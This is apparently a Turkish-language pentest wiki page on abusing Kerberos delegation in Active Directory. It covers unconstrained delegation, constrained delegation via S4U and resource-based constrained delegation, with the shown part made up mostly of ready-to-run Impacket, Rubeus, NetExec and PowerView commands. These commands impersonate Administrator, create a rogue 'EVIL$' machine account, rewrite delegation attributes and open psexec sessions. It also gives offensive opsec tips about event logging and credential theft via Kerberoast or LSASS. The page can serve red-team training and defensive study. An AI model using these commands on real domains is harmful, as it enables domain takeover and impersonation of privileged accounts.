Kerberos Delegation Abuse
phase: privilege escalation impact: yüksek
phase: privilege escalation impact: yüksek
Kerberos delegation, bir servisin kullanıcı adına başka bir servise kimlik doğrulamasına izin verir. Yanlış yapılandırıldığında, saldırgan bunu ayrıcalıklı kullanıcıları taklit etmek için kötüye kullanabilir. Bu sayfa üç modeli özetler; derin dalışlar ayrı sayfalarda.
| Tür | Öznitelik / bayrak | Ayrı sayfa |
|---|---|---|
| Unconstrained | TRUSTED_FOR_DELEGATION | Unconstrained |
| Constrained (KCD) | msDS-AllowedToDelegateTo | bu sayfa |
| RBCD | msDS-AllowedToActOnBehalfOfOtherIdentity | RBCD |
Komut üreteci
Section titled “Komut üreteci”Constrained Del · getST
embedded toolimpacket-getST -spn cifs/fileserver.domain.local -impersonate Administrator domain.local/svc_web:Pass123Constrained Del · getST
Section titled “Constrained Del · getST”impacket-findDelegation domain.local/user:'Pass123' -dc-ip 10.10.10.5nxc ldap DC -u user -p 'Pass' --trusted-for-delegationGet-DomainComputer -UnconstrainedGet-DomainUser -TrustedToAuthGet-DomainComputer -TrustedToAuthGet-DomainObject -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)'BloodHound kenarları: AllowedToDelegate, AllowedToAct, AddAllowedToAct, unconstrained property.
1) Unconstrained Delegation (özet)
Section titled “1) Unconstrained Delegation (özet)”Delegation için işaretli host, kendisine bağlanan kullanıcıların TGT’lerini belleğinde saklar. Host’ta admin isen + coercion ile DC$ / DA çekersen TGT yakalanır → DCSync.
Detay: Unconstrained Delegation.
2) Constrained Delegation (S4U)
Section titled “2) Constrained Delegation (S4U)”Hesabın msDS-AllowedToDelegateTo alanı belirli SPN’lere ayarlıysa, hesap S4U2Self + S4U2Proxy ile o servislere herhangi bir kullanıcıyı (protocol transition / TRUSTED_TO_AUTH_FOR_DELEGATION açıksa) taklit ederek bilet alabilir.
TRUSTED_TO_AUTH_FOR_DELEGATION (0x1000000) → "Use any authentication protocol" → S4U2Self ile kendine TGS, sonra S4U2Proxy ile hedef SPN-
Hesabı ve SPN listesini doğrula ( findDelegation çıktısı).
-
Servis hesabı hash/parolasını ele geçir — Kerberoast, LSASS, GPP…
-
S4U ile bilet al :
Terminal window impacket-getST -spn cifs/server01.domain.local \-impersonate Administrator \domain.local/svc_web:'Pass123' -dc-ip 10.10.10.5Terminal window impacket-getST -spn cifs/server01.domain.local -impersonate Administrator \-hashes :NTHASH domain.local/svc_web -dc-ip 10.10.10.5Terminal window impacket-getST -spn cifs/server01.domain.local -impersonate Administrator \-altservice http domain.local/svc_web:'Pass' -dc-ip 10.10.10.5Terminal window Rubeus.exe s4u /user:svc_web /rc4:NTHASH \/impersonateuser:Administrator \/msdsspn:cifs/server01.domain.local /ptt -
Kullan :
Terminal window export KRB5CCNAME=Administrator.ccacheTerminal window impacket-psexec -k -no-pass domain.local/Administrator@server01.domain.local
3) Resource-Based Constrained Delegation (RBCD)
Section titled “3) Resource-Based Constrained Delegation (RBCD)”Hedef bilgisayar nesnesinin msDS-AllowedToActOnBehalfOfOtherIdentity alanını yazma yetkin varsa, kontrol ettiğin hesabı oraya ekleyip S4U ile impersonation yaparsın. MachineAccountQuota ile yeni EVIL$ yaratmak klasik yoldur.
Detay ve komutlar: RBCD.
impacket-addcomputer domain.local/user:'Pass' -computer-name 'EVIL$' \ -computer-pass 'Evil123!' -dc-ip 10.10.10.5impacket-rbcd domain.local/user:'Pass' -delegate-from 'EVIL$' \ -delegate-to 'TARGET$' -action write -dc-ip 10.10.10.5impacket-getST -spn cifs/target.domain.local -impersonate Administrator \ 'domain.local/EVIL$:Evil123!' -dc-ip 10.10.10.5S4U zinciri (teknik)
Section titled “S4U zinciri (teknik)”S4U2Self: svc → "Administrator olarak bana TGS ver" (kendi SPN'ine)S4U2Proxy: svc → o TGS'i kanıt göstererek hedef SPN için TGS isteSonuç: cifs/target için Administrator TGS → PtTOpsec (ofansif)
Section titled “Opsec (ofansif)”- getST -impersonate Administrator Event 4769 (S4U) üretir.
- Constrained delegation abuse için servis hesabı credential şart — Kerberoast önce.
- RBCD yazma LDAP modify — ACL change log; iş bitince attribute’u temizle (angajman kuralı).
- altservice ile SPN değiştirme (CIFS→HOST) bazı ortamlarda ek erişim açar.
Yaygın tuzaklar
Section titled “Yaygın tuzaklar”- Impersonate edilen kullanıcı Protected Users / “Account is sensitive and cannot be delegated” → S4U fail.
- Yanlış SPN ( CIFS vs gerçek msDS-AllowedToDelegateTo değeri).
- RBCD’de SPN’siz hesap — machine account kullan.
- Unconstrained sanıp constrained host’ta TGT aramak.
Sonraki adımlar
Section titled “Sonraki adımlar”Unconstrained Delegation · RBCD · Pass-the-Ticket · Kerberoasting